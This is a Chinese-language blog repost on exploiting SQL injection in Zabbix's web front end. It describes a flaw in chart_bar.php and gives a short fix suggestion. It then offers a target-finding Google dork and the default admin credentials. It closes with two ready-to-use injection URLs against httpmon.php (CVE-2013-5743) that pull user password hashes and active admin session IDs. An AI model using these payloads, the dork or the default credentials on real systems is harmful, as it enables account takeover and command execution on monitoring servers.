您的位置:首页 > 博客中心 > 数据库 >

Zabbix的前台SQL注射漏洞利用

时间:2022-03-14 02:43

今年8月份Map在wooyun上发了个 ,11月份才公开。

漏洞详情大约是这样的:

在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。

 

 

 

 

 

 

 

 

 

在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。

$itemid = $item[‘itemid‘];

最后这个参数进到了SQL查询的过程

在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。

 

修复建议:对相关参数加上zbx_dbstr函数进行过滤

wooyun上给出的Poc不好用,小伙伴改了个Java版的Exp,后来研究出了如何简单识别站点有无漏洞,Exp效果如下图:

 

 

 

 

 

 

 

 

 

小编反编译阅读了一下Java源码 改了个Python版本的:

 

 

 

 

 

脑补时间:

默认密码:admin/zabbix
Google:inurl:zabbix/dashboard.php

我们还清楚的记得
Zabbix SQL Injection/RCE – CVE-2013-5743
httpmon.php页面存在未经zbx_dbstr函数过滤导致注入

获取密码

   
1 2 3 http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*), concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

获取sessionid(可替换刷新登陆)

   
1 2 3 4 http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*), concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

转载请注明: » 

热门排行

今日推荐

热门手游